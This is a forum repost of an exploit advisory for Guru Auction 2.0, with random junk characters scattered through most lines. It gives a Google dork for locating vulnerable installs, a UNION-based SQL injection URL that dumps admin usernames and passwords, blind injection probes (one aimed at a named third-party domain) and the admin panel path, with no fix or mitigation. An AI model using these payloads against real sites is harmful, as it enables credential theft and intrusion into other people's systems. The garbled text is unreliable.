Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
$ t9 v$ o- r" k+ g: s$ x
. H. f& f8 x {, E( S' u5 S+ y作者 : v3n0m( I7 f5 ^; M5 k9 u7 K
应用 : Guru Auction 2.0
, h$ w& r( N; `2 M$ J9 @Price : $49
* |# N* ^5 I7 }2 ?& P/ pVendor : http://www.guruscript.com/
- U4 G/ W7 z9 R; XGoogle Dork : inurl:subcat.php?cate_id=- k, ^ Y; H6 E: C" I- q) ?) m9 B+ |
( r9 w- o/ }% {- J9 Q ?$ a f5 e
SQLi p0c:
0 s9 T% i2 l' s~~~~~~~~~~
* A6 `/ v* h) s; yhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
% z2 y8 D* A. B0 V9 R1 Z: W4 B2 e
! s9 D& [ P- `0 D/ F2 Y
% D1 b' f" x9 B! S6 D- a盲注 p0c:, W6 n& A3 E( H- ?: N/ [/ g
~~~~~~~~~~0 [1 Q4 E7 b9 v; }5 e9 n
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true% u! S# S2 ^2 o; n
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false% G" s) Q @, \- v% P& k6 p0 _# {
7 f4 E: q# I. L3 x/ _1 c7 b! g管理登录入口:
# \; S/ h) { ^0 c- Z* O~~~~~~~~~~, j q' \) Y7 B a( M& _
http://domain.tld/[path]/admin/
* D/ d2 i f+ C |
发表于 2012-12-31 09:24:05
收藏
支持
反对